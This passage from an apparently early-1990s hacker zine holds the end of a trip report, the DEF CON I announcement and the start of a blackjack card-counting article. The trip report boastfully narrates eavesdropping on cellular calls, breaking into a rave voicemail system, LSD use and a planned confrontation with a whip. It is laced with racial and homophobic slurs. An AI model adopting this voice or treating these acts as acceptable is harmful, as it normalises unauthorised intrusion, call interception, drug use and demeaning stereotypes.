We took to the streets. (The streets of San Francisco...haha) Wandering
up and down the hills checking people out proved quite fun. We checked out
Chinatown where we all decided that the little Oriental schoolgirls in their
uniforms were quite amazing. We tried to spot the opium dens, and pointed
out suspect organized crime figures. Suddenly, we realized we were lost,
and if we didn't get back to the lot we would lose our car. (Thirty-seven
thousand dollars only buys you a spot for a few hours.) We managed to
find our car minutes before the tow trucks rolled in and spent
a few more hours looking for buildings with good dumpsters for that night's
planned trashing spree. We found a few spots and took off towards the
hotel and dinner.
12. Zen & The Art of Trashing
That night everyone decided to move into our room. Somehow Fitzgerald stole
a bed and wheeled it into our room to allow for more sleep space. So, it was
X-con, Fitzgerald, me, Fender and Mr. Blast all smashed into the little
room. As we were sitting in the room discussing what to do that
evening, the door burst open and a large man in basketball sweats walked
in. After he saw us in the room he turned around and quickly exited.
Fitzgerald ran out in the hall after him and discovered that the whole hall
was full of basketball players. We called down to the front desk to complain
that our room had been given out. The desk apologized and told us that the
mistake had been noticed and they would correct the problem with the
basketball team. This did not exactly sit well with me, as I envisioned
shitloads of jocks rooting through our stuff, taking my camera and
various and sundry electronics gear.
Temporarily forgetting about the impending robberies, we took off to do
a little recon of our own. The five of us and The Pilot piled into
two cars and took off towards downtown looking for garbage.
We found several Pac Bell offices but the only one with any type of
dumpster had nothing to offer save old yellow pages and pizza boxes.
We were totally bummed. We decided to wander around aimlessly
to see what we could stumble across.
After making about a dozen turns and walking a mile or two we came across
a huge black beast of a building. It looked like the Borg Cube. It was
vast and foreboding. It was an AT&T building. Fitzgerald took off
towards the door to ask for a tour. It was only 11:00 in the evening,
so we were certain that we would be given a hearty welcoming and
guided journey through the bowels of the cube. Yeah, right.
Alas, we were not to be assimilated. The guard told us to get lost.
We decided to see the Borg used dumpsters. Around the back end of the
building by the loading docks we saw several stair landings starting about
three floors up. We debated scaling the building, but noticed about
500 security cameras. This place was possibly the most secure telco
installation we had ever seen.
We decided that this place must be the point of presence for the West Coast
since it was just so damn impenetrable. As we turned to leave I noticed a
small piece of white cord on the ground. As I picked it up, we noticed it
led from a small construction shack behind the POP. It ran all the way
from the shack to a heavy steel door in the side of the cube where it
snaked its way under the door into the building and probably into the
frame. We all had a great laugh at the exposed line, and wished we
would have had a test-set to make a few choice overseas calls.
We wandered back to the cars and ended up driving around downtown some
more for a few hours before ending up back at the hotel.
13. Mr. Blast Can't Drive.
We all regrouped the next morning to go shopping downtown. Fender was kind
enough to dish out vast quantities of chocolate-covered espresso beans
and we all got completely wired. X-con and I decided that we should have had
a bag of these the previous morning.
We drove straight down to Chinatown and began looking for a place to park.
Mr. Blast, Fender, X-con were in one car, me, Fitzgerald and The Pilot
in another. Mr. Blast, for being from a huge city, had absolutely no
concept of driving in traffic in a downtown setting. He missed lots,
made weird turns, ran lights and generally seemed like he was trying
to lose us. He achieved his desired goal.
We cursed his name for fifteen minutes and then gave up our search.
Fitzgerald had swiped Fender's scanner and was busily entertaining
himself listening to cellular phone calls. He had the window rolled down
in the back seat and took great joy in holding up the scanner so people
walking down the street could join in on the voyeuristic fun. Suddenly
Fitzgerald shouted, "HOLY SHIT! I can't believe it!"
The Pilot and I nearly had matching strokes, "WHAT?" I said. "It's
ENCRYPTED! I can't believe it man, encrypted speech on the phone!"
I began to laugh, and The Pilot soon joined in. It was Mandarin.
"Where the hell are we, Fitz?" I asked him. "San Francisco, " he replied.
"No," I said, "Specifically, where in San Francisco?" Fitzgerald
thought for a minute and said, "Uh, Chinatown?" Suddenly, his eyes
lit up, "OHHHHHHH. Hehe.. it's not encrypted is it?" We laughed at him
for about ten minutes.
We came to a stop light where a very confused Chinese lady was looking
at us. Fitzgerald held up the scanner and I yelled, "Herro!" We
went hysterical as we drove off, leaving the woman even more bewildered.
We found a place to park and decided to explore on our own. The plethora
of little Chinese hotties blew my mind. We staggered around Chinatown
trying to get bargains on electronics gear. It struck us all as odd
that every electronics store in the downtown area was owned and
operated by Iranians. Needless to say, no bargains were found.
We had lunch at a restaurant called Red Dragon. The majority of the
lunch was spent talking telco. Watching Fitz and The Pilot get totally
wrapped up in the talk, both trying to tell the best story about the
neatest hack proved incredibly interesting.
We took off into the crowds to try to find cheap watches, since The Pilot's
watch was ready to retire. He soon made a totally sweet deal on a watch
from an oriental merchant and we took off for the car. On the way we noticed
a small shop in a back alley with throwing stars in the window.
Inside was ninja heaven. They had daggers, cloaks, stars, nunchaca,
swords, masks and tons and tons of violence inducing paraphanalia. I saw
a telescoping steel whip behind a case. I knew I must possess this item,
and when I found out that it was only $22.00 the money was already in
my hands. Fitz also got a whip and five stars. We were now armed...Phiber
beware.
We took off down to the port to look out at the bay. While we were there
we watched a bunch of skaters doing totally insane street style in a small
cement fountain area. One kid waxed the street with his face and we all
had a serious laugh, much to the chagrin of the injured and his posse.
As soon as they scraped up the hapless skatepunk off the ground,
they resumed their thrashing, avoiding the wet spot. We decided
that these kids were totally insane.
We took off back to the hotel to meet up with the idiots. Once we arrived
we found that we were locked out of our room. In fact, not only had they
cut off our keys, but they had checked us out. We got a security guard
to let us in the room. Shortly thereafter X-con et.al. returned loaded
with gear they had picked up on their trip. They exclaimed that they
rushed back to the hotel at top speed, since when they tried to call the
room, the hotel had said that our room was not in use.
I got furious and went downstairs to yell. Eventually, we got our phone
service back and the manager went upstairs to give us a live body to
verbally abuse, which we took full advantage of. He shucked and jived
his way through an apology but we did not get a free night as we had
hoped for.
14. Castro-Bound
X-Con wanted shoes. We all sorted out the card key mess and piled back in
The Pilot's car and headed out to find NaNa's. As we drove towards
the store we noticed something change about the city. The fog lifted.
The colors got more pastel. The men walking down the street seemed to
have more spring in their step. We had entered the Castro.
I really wanted to hit a record store in the Castro because homos always
seem to have cool dance music. I convinced everyone that we should pull
over and risk a quick walk down the main drag.
The stroll was a complete farce. Our crew seemed to be extremely
apprehensive. To make them more edgy I took great glee in talking
real nelly and batting my eyes at anything that moved. No one was amused.
In fact, Fitzgerald and the Pilot looked like they wanted to cry and run
back to the car and hide.
None of the record stores had anything good. There were lots of old
Judy Garland and Ethyl Merman but nothing more modern than the
Village People. (And I was expecting techno. But noooooo...)
On our way back to the car we passed by a leather goods store. Not
exactly Tandycraft, if you get my drift. X-con was the only one
brave enough to go in. He came out looking drained of all color holding
a catalog.
"There were these three guys in there," he stammered. "One of them was
being fitted for a cock sheath. The two other guys kept showing him
different ones, but he said they were too big."
We all shuddered and hastened our return to the car.
We drove a few miles more down the street and ended up at the NaNa's shop.
The store was your typical alternative grunge-wear shop. Stompin'
boots, nifty caps, shirts by Blunt. X-con got his shoes. We all got
nifty caps. Leaving for the hotel, I grabbed a handful of flyers from
the front window. Most were rave flyers for the next weekend. One however
was announcing a bondage party for 'women only' two days later. I felt a
tear begin to form as I reminisced about the Bridge.
15. Hating It In The Height.
We regrouped back at the hotel and took off again for the Height to go
check out Rough Trade records and see what could be seen. And X-con
and I needed a few tabs. (YEEE!) We needed these rather badly since
Mr. Blast had found out about a rave that evening from the SF-RAVES
mailing list. There was no way X-con and I could sit through a rave
sober, and dancing was WAY out of the question.
Rough Trade was closed.
We decided to grab a quick bite to eat while waiting for information
on the rave. We decided to try something really odd, since we weren't in
for the typical corporate burger scene. A bit down the street from
Rough Trade we happened upon a Ethopian restaurant. Since this was about
as obscure as any of us had ever dreamed, we decided to check it out.
I personally didn't think Ethopians ever had any food, and made a few jokes
about wanting something light, so this would definitely be the place.
Ethopian food was odd. Looking over the menu, Mr. Blast decided that
he didn't want much of anything they had to offer. We decided that we
should buy a lot of everything and just pick and choose. I made the
comment that I would only eat chicken, and Mr. Blast didn't like the
idea of eating much of anything everyone wanted to try. We ordered
separately.
The food came out in a rather odd fashion. Everything was piled on top
of everything else. It was all splattered on top of a weird pancake-like
sponge bread. There were all manner of sauces to smother, dip, or otherwise
destroy the entrees with, so we all took great bravado in our sampling of
each. It was quite a fantastic spread, and I wholeheartedly urge everyone
to check out this particular cuisine.
After the meal we took off to find a phone to call the raveline. On our
way to the phone X-con and I stumbled across a few transients who offered
us acid at a remarkable price. This was almost too good to be true.
We slunk down a side street and bs'ed with the homeless couple as we
decided how many to buy. We settled on 20 hits for 45 dollars. X-con
and I were psyched. The rave would indeed be tolerable.
We hooked up with the crew, smiling like Cheshire cats. Mr. Blast had
the directions to the rave so we took off ready to overindulge.
By the time we reached the rave, we were one of what seemed like
a hundred or two hanging outside of a warehouse. This might be
pretty damn cool. X-con and I began our dosing.
Now, usually I love the first contact of the blotter with my tongue.
It evokes a certain tangy taste, akin to touching a battery to the tip
of your tongue. It always gets the adrenaline flowing, and brings
back memories of what will soon be repeated.
Nothing.
I looked at X-con. "Dude," he said, "I can't taste shit. I better
take more." He dropped about 3 more. Still no taste. I ate a few more
myself in a futile hope that some lysergine substance may have once resided
in the fibers of the blotter. Nope.
This was the beginning.
As we waited to be let in to the warehouse, cursing the transients, the sirens
begin to wail. Fucking great. Five police cars swept into the cul-de-sac
that led to the warehouse. The rave would not be in this location. Everyone
bailed like rats from a sinking ship, yelling that the rave would be
moved to a soon to be announced location.
Now X-con and I were really pissed. I whipped out my steel whip and said,
"Let's go pay a quick visit to the Height and visit our friends."
We piled back into the cars and set out to do some serious damage.
Arriving in the Height we noticed that cops were everywhere. This was not
going to be easy. X-con and I set out like men possessed. The transients
were gone. We wandered up and down the street for about 30 minutes looking
for our prey. Finally we saw them. They saw us. One ran like a marathon
sprinter. The other stayed, but was soon flanked by a gang of eight
other transients. X-con walked right up and said "You fucking ripped us
off!"
As we tried to get either our money back or working drugs, more and more
transients gathered. It was time to write it off as a loss. We cursed
and backed away from the crowd.
Our group had congregated at a grocery store at the end of the street.
Mr. Blast was speed dialing the raveline in a desperate attempt to
find a venue to spin wildly in and blow his day-glo rave whistle.
Across the street, a homeless black man screamed painfully at each and
every passing car, "HELP! You gotta take me and my girlfriend to
the hospital now! She's gonna DIE!" He staggered over to us
and begged for a ride, we respectfully declined.
As this was going on, the grocery store erupted with violence as
a drunken frat type was ejected forcibly. He started swinging
wildly at the rent-a-cop, and was greeted with the business end
of a police baton.
The Pilot decided this was a good time to make his exit. He waved
goodbye and was gone.
RBOC, Voxman and a nameless waif arrived in the parking lot. We
told them the status of the rave and they decided to wait to see if
there may be any type of decadence forthcoming. About that time
Mr. Blast came screaming across the lot with the directions.
We no longer had room for everyone, so Voxman & the nameless waif were
offered a ride from a flaming pedophile who overheard their plight.
The took him up on his offer before we could stop them. We said a quick
prayer for them and piled into the car.
16. Stark Raving Mad Late Into The Night
The new location was out at a marina in Berkeley on the beach. It took damn
near an enternity to get there and when we arrived it was raining.
X-con and I made it our mission to find acid at this location. The music
could be heard for several hundred yards from the street, so we took off
in a sprint towards the source.
There were roughly 40 or so people. Thirty-nine guys, one ugly girl.
X-con immediately disappeared in the crowd looking for someone with
a beeper...anyone. Fender disappeared. Fitz disappeared. RBOC and I
sat and made rude comments. X-con arrived back with a big smile.
Our saviour was in the form of a teenage Hispanic dude. He had red blotter
with elephant, and yellow blotter with some other kind of design. The
yellow was "three-way." We bought several of each, and there was much
rejoicing. X-con had already eaten one three-way and one regular, before
I could split one in half for RBOC. The taste was overwhelming.
Freshly squeezed.
The three of us perched up on a hill staring out over the undulating mass
waiting for the effect. It came quickly.
As it hit, Fitz wandered up and said, "Let's hack the raveline!"
This idea went over VERY WELL, so we all set out towards the car, leaving
little sparky streamers behind us as we moved.
From a nearby hotel lobby, Fitz and X-con busily hacked at the VMB
while RBOC and I sat in the car totally wigging. About 30 minutes
later they ran out screaming. It had been done and the code was
now 902100.
We drove back to the rave and noticed the red and blues flashing and the
ravers bailing en masse. We picked up Mr. Blast and Fender and took off
back to our hotel. Fender had done a bit of networking at the rave and
exchanged a few business cards. We were totally appalled.
Once back at the hotel X-con took even more. He said he wanted to see
static. Within an hour he achieved his goal. He spent a large portion of
the night walking in and out of the room muttering, "Man...you guys are
totally fucking with me."
We then decided to spice up the raveline. RBOC changed the outgoing
message a few times and then finally decided on, "HAR HAR HAR, Y'all been
boarded by the pirate! No more techno! No more homosexuals
grinding away at 120 beats per minute! No more Rave! HAR HAR HAR!"
We laughed like schoolgirls.
Everyone passed out. Everyone but us tripsters of course. We stayed up
the majority of the night telling really odd pharmaceutical war stories.
At about 6 am RBOC decided that he was hungry and called for room service.
He ordered linguini. The room service clerk told him that the kitchen
was not ready for dinner, and would only be serving breakfast. RBOC
replied, "Look, do you have noodles? Yes? Do you have water? Well,
what's the fucking problem. What exactly do you need to boil water?
Turn on the stove, and I'll be down in a few minutes to make it myself."
With this logic, the room service clerk replied his linguini would
be up in about half an hour.
We then decided to get escorts, or at least order up a few, and listen
to them on their cell phones calling their pimps. (Fender had listened
to about five different such conversations a few nights prior.)
RBOC ordered up a couple of buxom blondes to go and we waited for their
return phone call to barter on the price.
The call never came in. The hotel had turned off our phone for incoming
calls. This sparked even more fun, as RBOC called up the front desk
to complain, "Look ma'am, my hookers can't fucking call into my room!
Turn my phone back on NOW! I've had a rough night up for 24 hours on
drugs, and I need a woman." The operator was not amused.
The sun rose. We all remarked about the typical morning after layer of
filth that seems to congeal after a good fry. The static was no longer
visible to X-con and he became almost lucid again, interjecting bits
of wisdom like "Uh" and "Yeah" into the conversation. His flight was in
two hours.
The linguini arrived and everyone had a small taste as the smell of
the white sauce permeated the room. As we smacked away, the inexperienced
of the crowd arose to greet a new morning. RBOC suddenly realized that
NYC was probably snowed under, so he took off to find a phone to check
on the status of his flight home.
X-con gathered his bags and mumbled "Later," and disappeared. I fell on the
bed and disappeared into darkness.
17. Laterz
The alarm clock blared out a sickening beep, to which it was rewarded with
a small flight across the hotel room. I gathered up my gear and made a
beeline towards the elevator.
Still confused, I wandered down to the lobby where I was greeted by
Fitzgerald and Fender. I bid them both a fond farewell and boarded
the airport shuttle. This was one hell of a good time. I wonder if
CFP4 in Chicago will be as good? One can only hope. See you there.
***************************************************************************
D E F C O N I C O N V E N T I O N
D E F C O N I C O N V E N T I O N
DEF CON I CONVENTION
D E F C O N I C O N V E N T I O N
>> READ AND DISTRIBUTE AND READ AND DISTRIBUTE AND READ AND DISTRIBUTE <<
Finalized Announcement: 5/08/1993
We are proud to announce the 1st annual Def Con.
If you are at all familiar with any of the previous Con's, then you
will have a good idea of what DEF CON I will be like. If you don't have any
experience with Con's, they are an event on the order of a pilgrimage to
Mecca for the underground. They are a mind-blowing orgy of information
exchange, viewpoints, speeches, education, enlightenment... And most of all
sheer, unchecked PARTYING. It is an event that you must experience at least
once in your lifetime.
The partying aside, it is a wonderful opportunity to met some of the
celebrities of the underground computer scene. And those that shape its
destiny - the lawyers, libertarians, and most of all the other There will
be plenty of open-ended discussion on security, telephones and other
topics. As well as what TIME magazine calls the "Cyberpunk Movement".
Las Vegas, is as you might have guessed a great choice for the Con.
Gambling, loads of hotels and facilities, cheap air fare and room rates.
It's also in the West Coast making it more available to a different crowd
than the former Cons have been.
Your foray into the scene and your life will be forever incomplete
if by some chance you miss out on DEF CON I. Plan to be there!
WHO: You know who you are.
WHAT: Super Blowout Party Fest, with Speakers and Activities.
WHERE: Las Vegas, Nevada
WHEN: July 9th, 10th and 11th (Fri, Sat, Sun) 1993
WHY: To meet all the other people out there you've been talking to for
months and months, and get some solid information instead of rumors.
DESCRIPTION:
So your bored, and have never gone to a convention? You want to meet
all the other members of the so called 'computer underground'? You've been
calling BBS systems for a long time now, and you definitely have been
interacting on the national networks. You've bullshitted with the best,
and now it's time to meet them in Vegas! For me I've been networking for
years, and now I'll get a chance to meet everyone in the flesh. Get
together with a group of your friends and make the journey.
We cordially invite all hackers/phreaks, techno-rats, programmers,
writers, activists, lawyers, philosophers, politicians, security officials,
cyberpunks and all network sysops and users to attend.
DEF CON I will be over the weekend in the middle of down town Las
Vegas at the Sands Hotel. Why Las Vegas? Well the West Coast hasn't had
a good Convention that I can remember, and Las Vegas is the place to do it.
Cheap food, alcohol, lots of entertainment and, like us, it never sleeps.
We will have a convention room open 24 hours so everyone can meet and plan
and scheme till they pass out. Events and speakers will be there to provide
distraction and some actual information and experiences from this loosely
knit community.
This is an initial announcement. It is meant only to alert you to
the time, dates and location of the convention. Future announcements will
inform you about specific speakers and events.
An information pack is FTPable off of the internet at nwnexus.wa.com,
in the cd/pub/dtangent directory. The IP# is 192.135.191.1 Information
updates will be posted there in the future as well as scanned map images and
updated speaker lists.
FINAL NOTES:
COST: How you get there is up to you, but United Airlines will be
the official carrier (meaning if you fly you get a 5% to 10% price reduction
off the cheapest available fare at the time of ticket purchase) When buying
airline tickets, call 1-800-521-4041 and reference meeting ID# 540ii. Hotel
Rooms will cost $62 per night for a double occupancy room. Get your friends
together and split the cost to $31. Food is inexpensive. The entertainment
is free inside the hotel. Reference the DEF CON I convention when
registering, as we have a block of rooms locked out, but once they go it will
be first come, fist serve. Call 1-800-634-6901 for the reservations desk.
The convention itself will cost $30 at the door, or $15 in advance.
It pays to register in advance! Also it helps us plan and cover expenses!
Mail checks/money orders/cashiers checks to: DEF CON I, 2709 East Madison
Street, #102, Seattle, WA, 98112. Make them payable to: "DEF CON" we're not
trying to make money, we will be trying to cover costs of the conference room
and hotel plus air fair for the speakers who require it. Don't bother mailing
it a week in advance, that just won't happen. Advanced registration gets you
a groovy 24 bit color pre-generated name tag. Include with your payment the
name you want listed, your association/group affiliation/bbs/whatever, email
address, and/or bbs number for syops. Last day for the registrations to reach
me will be July 1st.
SPEAKERS: We have solicited speakers from all aspects of the
computer underground and associated culture (Law, Media, Software Companies,
Cracking Groups, Hacking Groups, Magazine Editors, Etc.) If you know of
someone interested in speaking on a self selected topic, please contact The
Dark Tangent to discuss it.
FOR MORE INFORMATION:
For initial comments, requests for more information, information
about speaking at the event, or maps to the section where prostitution is
legal outside Las Vegas (Just Kidding) Contact The Dark Tangent by leaving
me mail at: dtangent@dtangent.wa.com on the InterNet.
Or call: 0-700-TANGENT for conference information/updates and to leave
questions or comments.
Or Snail Mail (U.S. Postal Service) it to DEF CON, 2709 East Madison Street,
#102, Seattle, WA, 98112.
Future information updates will pertain to the speaking agenda.
------------------------------------------------------------------------------
Updates since the last announcement:
>> The Secret Service is too busy to attend.
>> New Media Magazine, Unix World and Robert X. Cringly have stated they will
attend.
>> We got a voice mail system working (I think) for comments and questions.
>> We don't have enough $$$ to fly out the EFF or Phillip Zimmerman (Author
of PGP) or Loyd Blankenship.
>> Judy Clark will be representing the CPSR and a few other organizations
Don't forget to bring a poster / banner representing any of the groups you
belong to. I want to cover the conference room walls with a display of all
the various groups / people attending. (Break out the crayons and markers)
------------------------------------------------------------------------------
DEF CON I CONVENTION [PROPOSED SPEAKING SCHEDULE UPDATED 5.31.1993]
Saturday the 10th of July 10am, Sands Hotel, Las Vegas
INTRODUCTION Welcome to the convention
*The Dark Tangent (CON Organizer)
Keynote speaker Cyberspace, Society, crime and the future.
To hack or not to hack, that is not the question
*Ray Kaplan
Civil Libertarians
-CPSR Computer Privacy/1st Amendment/Encryption
Gender Rolls and Discrimination
*Judi Clark
-USC Comp. Law Legalities of BBS Operation, message content
laws and network concerns.
*Allen Grogan, Editor of Computer Lawyer
'The Underworld'
-Networking Concerns of National Networking
of CCi (Cyber Crime International) Network.
*Midnight Sorrow.
Corporations
-Packet Switching
SPRINT Concerns/security and the future
MCI of packet switching.
(*Jim Black, MCI Systems Integrity)
Misc Common misbeliefs and rumors of the underground
*Scott Simpson
-Virtual Reality The law, and it's intersection with VR
*Karnow
-Unix Security Future developments in unix security software,
General Q&A on unix security
*Dan Farmer
-System Administrator Security Concerns of an Administrator
*Terminus
The 'Underworld'
-Internet The security problems with Internet/Networks
Overview of hacking
*Dark Druid
-Getting Busted The process of getting "busted"
*Count Zero
-How to be a nobody Hiding your identity in the high-tech future, or
The payphone is your friend.
*TBA-nonymous
-The Prosecutors Their concerns/problems and
Hacker Hunters suggestions for the 'underworld'/Q&A
CONCLUSION General Q&A
This itinerary is proposed, and topics and speakers will be marked as
permanent once a confirmation is received. This is by no means the exact
format of DEF CON I. Any Questions / Comments Contact:
dtangent@dtangent.wa.com
Voice Mail 0-700-TANGENT
------------------------------------------------------------------------------
[> DEF CON I and United Airlines Travel Arrangements <]
United Airlines has been chosen as the official carrier for DEF CON I
and is pleased to offer a 10% discount off the unrestricted BUA coach fare or
a 5% discount off the lowest applicable fares, including first class. This
special offer is available only to attendees of this meeting, and applies to
travel on domestic segments of all United Airlines and United Express flights.
A 5% discount off any fare is also available for attendees traveling to or from
Canada in conjunction with your meeting. These fares are available through
United's Meeting Desk with all fare rules and restrictions applying.
Help support the DEF CON I Conference by securing your reservations
with United Airlines. To obtain the best fares or schedule information,
please call United's Specialized Meeting Reservations Center at 1-800-521-4041.
Dedicated reservationists are on duty 7 days a week from 7:00 a.m. to 1:00 a.m.
ET. Please be sure to reference ID number 540II. You or your travel agent
should call today as seats may be limited.
As a United Meeting attendee you qualify for special discount rates
on Hertz rental cars. Mileage Plus members receive full credit for all miles
flown to this meeting.
Tickets will be mailed by United or you can pick them up at your
local travel agency or United Airlines ticket office.
Generic update #1---
My system exploded, so it's been hard to keep in touch with everyone,
but my mail response should be better now. Yep the conference is
still on. A blown hard drive won't kill me. You can reach me for
information or questions at 0-700-TANGENT (the DEF CON I hot line)
-----
--
Sorry for the huge signature, but I like privacy on sensitive matters.
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--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 9 of 27
How to "Hack" BlackJack
By
Lex Luthor
and
The Legion of Gamblerz!! (LOG)
lex@mindvox.phantom.com (or) lex@stormking.com
Part 1 of 2 (50K)
BLURB:
"I learned a lot of things I didn't know from Lex's File" ---Bruce Sterling
Introduction:
-------------
With the DEF CON 1 hacker/cyberpunk/law enforcement/security/etc convention
coming up in Las Vegas, Nevada on July 9-12 1993, I felt that now would be a
good time to write a "phile" on something the attendants could put to use to
help legally defray the costs of going. The thought of a bunch of ex-hackers
running around Las Vegas without shirts (having 'lost' them in the various
Casinos) frightened me into immediate action. Besides, I don't write articles
on 'Underground' topics anymore and since I have done a lot of research and
playing of Casino BlackJack, the CON in Vegas provided me the perfect excuse
to finally write an article for PHRACK (not withstanding the pro-phile in
Issue 40 which doesn't really count).
Regardless of whether you go to this DEF CON 1 thing, if you ever plan to
hit a casino with the purpose of MAKING MONEY, then you really should
concentrate on ONE game of chance: BlackJack. Why? Because BlackJack is the
*ONLY* casino game that affords the educated and skilled player a long-term
mathematical advantage over the house. All the other casino games: Craps,
Roulette, Slots, etc. have the long-term mathematical advantage over the
player (see table below). BlackJack is also the only casino game for which the
odds are always changing. Don't be fooled by all the glitter, a casino is a
business and must make a profit to survive. The profit is ensured by using a
set of rules which provides them with an edge. Now you say: wait a sec, how do
they make money if BlackJack can be beaten? There are a couple of reasons. One
reason is that there are very few good players who make it their profession to
beat casinos at BlackJack day in and day out. There are many more who THINK
they are good, THINK they know how to play the game, and lose more money than
the really good players win. Notwithstanding the throngs of vacationers who
admit to not being well versed in the game and consequently are doomed to
lose...plenty. Another reason is that if a casino thinks you are a "counter"
(a term just as nasty as "phreaker" to the phone company) there is a good
chance that they will ask you to leave. See the section on Social Engineering
the Casino to avoid being spotted as a counter. Also, the house secures its
advantage in BlackJack from the fact that the player has to act first. If you
bust, the dealer wins your bet regardless of whether the dealer busts later.
The following table illustrates my point regarding house advantages for the
various casino games and BlackJack strategies. The data is available in most
books on casino gambling. Note that negative percentages denote player
disadvantages and are therefore house advantages.
--------------------------------------------------------------------------
GAME Your Advantage (over the long run)
--------------------------------------------------------------------------
Craps -1.4 % overall average
Baccarat -1.1 % to -5.0 %
Roulette -2.7 % to -5.26 %
Slots -2.5 to -25 % depending on machine setting
Keno -25 % more or less
BlackJack (WAG Player) -2 % to -15 %
BlackJack (Mirror Dealer) -5.7 %
BlackJack (Basic Strategy) -0.2 % to +0.3 %
BlackJack (Basic Strategy & Up to +3.1 % depending on card counting
Card Counting) system and betting range.
A -2 % player advantage (2 percent disadvantage) means that if you play a
hundred hands at a dollar each, then ON AVERAGE, you will lose two dollars.
Note that the typical "pick three" State Lottery game is a disaster as your
advantage is -50 %. If you make 1000 $1 bets, you will lose $500 on average.
Some people say that state lotteries are taxation on the stupid...
This article contains thirteen sections. It was written in a fairly modular
fashion so if there are sections which do not interest you, you may omit them
without much loss in continuity however, all the sections are networked to
some degree. For the sake of completeness, a fairly comprehensive list of
topics has been presented. Due to email file size restrictions, I had to
divide this article into two parts. Note that I am NOT a Professional
BlackJack player, the definition being someone whose livelihood is derived
solely from his/her winnings. I did however, dedicate a summer to gambling 5
evenings a week or so, keeping meticulous records of wins, losses and expenses
incurred. I averaged 1-2 nights a week playing BlackJack with the other nights
divided among 3 different forms of Pari-Mutual gambling. At the end of the
summer I tallied the wins/losses/expenses and am proud to say the result was a
positive net earnings. Unfortunately it was instantly apparent that the net
money when divided up by the number of weeks gambling was not enough to
warrant me to quit school and become a professional gambler. Besides that
one summer, I have played BlackJack off and on for 7 years or so. In case you
were wondering, no, I have never been a member of GA [Gamblers Anonymous]
contrary to what one of those Bell Security "Hit-Lists" circulated many years
ago would have you believe. The topics contained herein are:
o Historical Background of the BlackJack Card Game
o Useful Gambling, Casino, and BlackJack Definitions
o Review of BlackJack Rules of Play
o Betting, Money Management, and the Psychology of Gambling
o Basic Strategy (End of Part 1)
o Card Counting (Beginning of Part 2)
o Shuffle Tracking
o Casino Security and Surveillance
o "Social Engineering" the Casino
o Casino Cheating and Player Cheating
o Some Comments Regarding Computer BlackJack Games for PC's
o A VERY Brief Description of Other Casino Games
o Selected Bibliography and Reference List
Notes:
a) I made extensive use of my many books, articles, and magazines on
gambling and BlackJack along with actual playing experience. References are
denoted by square brackets [REF#] and are listed in the Selected Bibliography
and Reference List section.
b) It's hard to win at something you don't understand. If you want to win
consistently at anything, learn every thing you can about it. BlackJack is no
exception.
History of BlackJack:
---------------------
I provide this historical background information because I find it rather
fascinating and it also provides some insight into contemporary rules and
play. I think it is worth reading for the sole reason that you might some day
use one of the historical tid-bits to answer a question on Jeopardy!#@%!
Seriously, the first couple of paragraphs may read a bit like a book report,
but bear with it if you can as I did all of the following research
specifically for this file.
First, a brief history of cards: Playing cards are believed to have been
invented in China and/or India sometime around 900 A.D. The Chinese are
thought to have originated card games when they began shuffling paper money
(another Chinese invention) into various combinations. In China today, the
general term for playing cards means "paper tickets". The contemporary 52 card
deck used in the U.S. was originally referred to as the "French Pack" (circa
1600's) which was later adopted by the English and subsequently the Americans.
The first accounts of gambling were in 2300 B.C. or so, and yes, the
Chinese again get the credit. Gambling was very popular in Ancient Greece even
though it was illegal and has been a part of the human experience ever since.
Today, with the all too common manipulation of language to suit one's own
purposes, gambling is no longer a term used by casinos....they prefer to use
the word GAMING instead. Just as Post Traumatic Stress Disorder has replaced
the term Shell Shock in military jargon. Since this manipulation of language
is all the rage these days, why don't we water down the name Computer Hacker
and replace it with Misguided Information Junky or someone who is afflicted
with a Compulsive Curiosity Disorder?
The history of the BlackJack card game itself is still disputed but was
probably spawned from other French games such as "chemin de fer and French
Ferme", both of which I am completely unfamiliar with. BlackJack originated in
French Casino's around 1700 where it was called "vingt-et-un" ("twenty-and-
one" in French) and has been played in the U.S. since the 1800's. BlackJack is
called Black-Jack because if a player got a Jack of Spades and an Ace of
Spades as the first two cards (Spade being the color black of course), the
player was additionally remunerated.
Gambling was legal out West from the 1850's to 1910 at which time Nevada
made it a felony to operate a gambling game. In 1931, Nevada re-legalized
casino gambling where BlackJack became one of the primary games of chance
offered to gamblers. As some of you may recall, 1978 was the year casino
gambling was legalized in Atlantic City, New Jersey. As of 1989, only two
states had legalized casino gambling. Since then, about 20 states have a
number of small time casinos (compared to Vegas) which have sprouted up in
places such as Black Hawk and Cripple Creek Colorado and in river boats on the
Mississippi. Also as of this writing, roughly 70 Native American Indian
reservations operate or are building casinos, some of which are in New York
and Connecticut. In addition to the U.S., some of the countries (there are
many) operating casinos are: France, England, Monaco (Monte Carlo of course)
and quite a few in the Caribbean islands (Puerto Rico, Bahamas, Aruba, etc.).
Now: The first recognized effort to apply mathematics to BlackJack began in
1953 and culminated in 1956 with a published paper [6]. Roger Baldwin et al
(see Bibliography) wrote a paper in the Journal of the American Statistical
Association titled "The Optimum Strategy in BlackJack". These pioneers used
calculators, and probability and statistics theory to substantially reduce the
house advantage. Although the title of their paper was 'optimum strategy', it
wasn't really the best strategy because they really needed a computer to
refine their system. I dug up a copy of their paper from the library, it is
ten pages long and fairly mathematical. To give you an idea of its importance,
the Baldwin article did for BlackJack playing what the November 1960 issue of
The Bell System Technical Journal entitled, "Signalling Systems for Control of
Telephone Switching", did for Blue Boxing.
To continue with the analogy, one can consider Professor Edward O. Thorp to
be the Captain Crunch of BlackJack. Dr. Thorp, then a mathematics teacher,
picked up where Baldwin and company left off. In 1962, Thorp refined their
basic strategy and developed the first card counting techniques. He published
his results in "Beat the Dealer" [3], a book that became so popular that for a
week in 1963 it was on the New York Time's best seller list. The book also
scared the hell out of the Casino's. Thorp wrote "Beat the Market" in 1967, in
which he used mathematics and computer algorithms to find pricing
inefficiencies between stocks and related securities. Currently he is using an
arbitrage formula to exploit undervalued warrants in the Japanese stock
market.
The Casinos were so scared after Beat the Dealer, that they even changed
the rules of the game to make if more difficult for the players to win. This
didn't last long as people protested by not playing the new pseudo-BlackJack.
The unfavorable rules resulted in a loss of income for the casinos. Not making
money is a sin for a casino, so they quickly reverted back to the original
rules. Because Thorp's "Ten-Count" method wasn't easy to master and many
people didn't really understand it anyway, the casinos made a bundle from the
game's newly gained popularity thanks to Thorp's book and all the media
attention it generated.
Beat the Dealer is rather difficult to find these days, I picked up a copy
at the library recently and checked the card in the back to see how popular
it is today. I was surprised as hell to find that it was checked out over 20
times in the past year and a half or so! How many books from 1962 can claim
that? I do not recommend reading the book for anything other than posterity
purposes though, the reason being that newer books contain better, and easier
